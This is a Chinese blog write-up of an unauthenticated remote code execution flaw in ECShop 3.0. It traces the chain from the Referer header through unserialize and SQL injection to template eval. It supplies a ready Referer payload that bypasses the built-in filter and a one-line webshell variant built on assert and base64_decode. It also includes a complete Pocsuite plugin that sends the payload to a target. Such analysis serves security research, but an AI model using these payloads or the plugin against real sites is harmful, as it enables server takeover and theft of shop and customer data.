前言:这个漏洞不是新出的漏洞,是几个月之前ecshop2.x远程代码执行漏洞的延续,并且在浏览被黑站点时发现清一色ecshop的网站,正巧最近想写一些pocsuite的插件,因此想记录下复现的过程,并且看看能不能写成攻击的payload。
0x00 漏洞相关文章
为了尊重原创作者们,这里先列出先前的漏洞分析文章,感兴趣的可以先看看,这里推荐知道创宇的文章,应该是写的最详细的了。
https://paper.seebug.org/695/
ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
重点看知道创宇的文章,发现给出了3.x版本可绕过的思路,因此这篇文章也会详细介绍如何绕过,并给出攻击payload,但是唯一不足的地方就是文章给出是3.x均可以绕过,但是实际下载源码后发现,ecshop3.x版本只有3.0正式版和3.6版本,在3.6版本中已经修复了漏洞,因此真的能利用的就只有3.0版本。
0x01 漏洞原理
这里先从源码出发,一步一步跟进源码,分析其中的问题。
漏洞源码位于user.php第306行
这里出现问题的代码位于312行,这里HTTP_REFERER可控,因此我们可以控制$back_act参数
$smarty->assign函数是用来注册模板变量,$smarty->display函数是用来编译模板文件中的变量,我们这里跟进user_passport.dwt模板文件
这里发现传入了这个$back_act变量,因此我们跟进$smarty->display函数
display函数位于includes/cls_template.php第100行
这里$this->_echash不是随机生成的,但是每个版本的echash都是固定的,这里3.0版本的echash在文件中是定义好的
这里回到上面的display函数,$out是从文件名中获得变量,然后使用explode函数来进行分割,因此我们控制了back_act变量,也就控制了out变量,然后我们通过人为添加echash变量来控制back_act变量的位置,因为113行可以看到只有当变量的位置位于奇数时,才会进入到$this->insert_mod函数
因此这里回过头来看我们通过构造echash+payload这样的referer,让我们的payload进入到insert_mod函数,继续跟进到这个函数
insert_mod函数位于includes/cls_template第1167行
这里看到传进来的值使用了‘|’来进行切割,‘|’前面的值会拼接到‘insert_’后面,‘|’后面的值作为参数传入到$para变量中去,另外后面的值经过了反序列化,这里的点并不是考反序列的串联,也就是POP,因此不需要关注各个类的定义,直接跳过即可。
那么现在问题就是这个$fun函数我们可控,$para参数也是可控的,但是函数现在必须以insert_开头,因此全局搜索以“insert_”开头的函数,发现“insert_ads”函数
insert_ads函数位于includes/lib_insert.php第136行
这里传入的参数为$arr,因此在反序列化构造的时候传入$arr数组所需的参数即可,这里可以看141行代码,$arr由于用户可控,因此其中的num参数也是可控的,通过条件使其不为1即可,然后进入到sql语句中,这里看147行
$arr[‘id’]和$arr[‘num’]参数均是通过反序列化进来的,因此也是可控的,因此我们可控构造sql语句,来进行sql注入,但是在3.0版本中加入了全局防护的函数及文件(includes/safety.php),并且也会对referer进行防护,这里由于可以控制两个参数:id和num,因此可以将union和select分开来绕过防护,通过中间内容使用/**/来进行注释,最终获取出来的数据传入到$res参数,我们跟进这个参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
foreach ($res AS $row)
{
if ($row[‘position_id’] != $arr[‘id’])
{
continue;
}
$position_style = $row[‘position_style’];
……
……
}
$position_style = ‘str:’ . $position_style;
$need_cache = $GLOBALS[‘smarty’]->caching;
$GLOBALS[‘smarty’]->caching = false;
$GLOBALS[‘smarty’]->assign(‘ads’, $ads);
$val = $GLOBALS[‘smarty’]->fetch($position_style);
$GLOBALS[‘smarty’]->caching = $need_cache;
return $val;
|
这里获取$res当中的position_id参数,将这个参数与先前传入的$arr[‘id’]参数进行匹配,这里$arr[‘id’]参数可控,因此在上一步进行sql查询的时候使用union联合查询来让回显的“postion_id”来等于id值,然后union联合查询也可以控制“postion_style”值,因此这里我们又可以控制$postion_style值,最后我们跟进fetch函数
fetch函数位于includes/cls_template.php第135行
这里首先会检查$filename的前四位是否为“str:”,巧合的是在上一步postion_style就进行了一步字符串添加的操作,并且加上了“str:”,因此这里进入到最终的命令执行函数,下面跟进fetch_str函数
fetch_str函数位于includes/cls_template第281行
这里首先$source不能出现eval和phpinfo,不过有千万种绕过的姿势,利用phpinfo/**/()或者使用base64编码来绕过
主要看302行的preg_replace,这里正则规则其实就是匹配“{}”中间的内容,利用{xxxx}那么匹配到的内容就是xxxx,然后继续跟进select函数
select函数位于includes/cls_template第373行
这里想要返回php语句,因此构造的正则匹配里,一定要以“$”开头,然后进入到get_val函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
function get_val($val)
{
if (strrpos($val, ‘[‘) !== false)
{
if (!function_exists(‘version_compare’) || version_compare(phpversion(), ‘5.3.0’, ‘<‘)) {
$val = preg_replace(“/[([^[]]*)]/eis”, “‘.’.str_replace(‘$’,’$’,’\1′)”, $val);
} else {
include(ROOT_PATH . ‘includes’ . DIRECTORY_SEPARATOR . ‘patch’ . DIRECTORY_SEPARATOR . ‘includes_cls_template_get_val.php’);
}
}
if (strrpos($val, ‘|’) !== false)
{
$moddb = explode(‘|’, $val);
$val = array_shift($moddb);
}
if (empty($val))
{
return ”;
}
if (strpos($val, ‘.$’) !== false)
{
$all = explode(‘.$’, $val);
foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : ‘[‘. $this->make_var($val) . ‘]’;
}
$p = implode(”, $all);
}
else
{
$p = $this->make_var($val);
}
|
这里一开始构造攻击payload,想要通过一句话的方式,但是这里对“[]”进行了处理,使得这样的攻击方式利用不起来,因此也可以选择使用base64编码来绕过,进入到最后的make_var函数
这里构造的payload一般都不会出现“.”,因此也就会进入到679行,这里val即为我们控制的值,这里需要闭合前面的[‘,然后插入我们构造的payload即可
0x02 漏洞流程
1、构造referer
2、构造echash+payload位置,使得payload经过反序列化能够将参数值传给$fun和$para,保证进入insert_ads函数
3、构造id和num参数值,使得进入sql语句时可以使用union联合查询来控制列的值,并且保证绕过防护文件,同时要保证满足各种等式要求
4、利用base64编码来绕过部分防护函数,同时构造payload来使其匹配正则,控制进入到select函数
5、构造正则时必须以”$”开头,同时闭合前面的[‘,然后输入自己想要执行的php语句即可,同时注意输入”//”闭合后面语句
0x03 payload构造
1
|
referer = “45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:”num”;s:114:”*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10– -“;s:2:”id”;s:9:”‘ union/*”;}45ea207d7a2b68c49582d2d22adf953a”
|
这里经过对echash的explode函数后留下的是
1
|
ads|a:2:{s:3:“num“;s:114:“*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10— –“;s:2:“id“;s:9:“‘ union/*“;}
|
“|”前面传入的是fun参数,后面传入的是para参数。
这里我们重点关注中间的反序列化值,同时我也会将16进制给转化出来
1
2
3
|
id -> ‘ union/*
num -> */ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10– –
num -> */ select 1,’ union/*,3,4,5,6,7,8,{$abc’];echo phpinfo/**/();//},10– –
|
这里我讲union和select赋给两个参数,也就是不会触发防护函数,同时需要构造某些sql值来满足等式条件,这里id就必须跟sql里的postion_id相等,所以这里使用16进制编码来满足要求,第九列的内容即为了满足正则匹配,将{}中的内容匹配进去,同时需要以“$”开头,然后进入最终的拼接语句
最终拼接出来的php语句为
1
|
<?php echo $this->_var[‘abc’];echo phpinfo()/**/();//’];?>
|
然后使用eval来执行php语句即可
这里如果想要构造成一句话,那么修改的地方也很明显,直接将phpinfo那块修改即可
1
|
{$abc‘];assert(base64_decode(‘YXNzZXJ0KCRfR0VUWyd4J10pOw==‘));//}
|
这里的话base64_decode解密就是$_GET[x],也就绕过了对‘]’的处理
最后附上写的pocsuite插件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
# If you have issues about development, please read:
# https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md
# https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING
import string
import random
import time
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
def get_url(url, referer):
try:
httpreq = req.Session()
headers = {
“User-Agent” : “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0”,
“Accept” : “text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
“Accept-Language” : “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Referer” : referer
}
resp = httpreq.get(url, headers=headers)
except Exception as ex:
resp = None
return resp
class TestPOC(POCBase):
name = ‘ECSHOP Core 3.0 – Unauthenticated Remote Code Execution’
vulID = ”
author = [‘adog’]
vulType = ‘cmd-exec’
version = ‘1.0’ # default version: 1.0
references = [‘https://paper.seebug.org/695/’]
desc = ”‘ECSHOP Core 2.X – Unauthenticated Remote Code Execution (RCE)
PoC Exploit (default configuration, no plugins, no auth)’”
vulDate = ‘2018-08-31’
createDate = ‘2019-01-05’
updateDate = ‘2019-01-05’
appName = ‘ECSHOP’
appVersion = ‘3.0’
appPowerLink = ‘http://www.shopex.cn’
samples = [”]
def _attack(self):
“”“attack mode”“”
result = {}
self.url = self.url + ‘/ecshop/user.php?act=login&x=phpinfo();’
referer = “”
“”“防止被恶意利用,就不直接给攻击的payload了”“”
resp = get_url(self.url,referer)
time.sleep(2)
if ‘phpinfo’ in resp.content:
result[‘VerifyInfo’] = {}
result[‘VerifyInfo’][‘URL’] = self.url
return self.parse_output(result)
def _verify(self):
“”“verify mode”“”
result = {}
self.url = self.url + ‘/ecshop/user.php?act=login’
referer = “45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:”num”;s:114:”*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10– -“;s:2:”id”;s:9:”‘ union/*”;}45ea207d7a2b68c49582d2d22adf953a”
resp = get_url(self.url,referer)
time.sleep(2)
if ‘phpinfo’ in resp.content:
result[‘VerifyInfo’] = {}
result[‘VerifyInfo’][‘URL’] = self.url
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(‘Internet nothing returned’)
return output
register(TestPOC)
|
上述如有不当之处,敬请指出~~
维吉尼亚作为古典密码,本身的加解密并不是很难,因此也就有了这篇文章~ 下面初步解释下维吉尼亚密码的加密原理,假设现在有明文‘a’,加密密钥为‘b’,然后我们参照上面的维吉尼亚密码表进行加密,在a行的b列即为我们加密过后的密文,在这里我们的密文即为‘b’。同理,…
请登录后发表评论
注册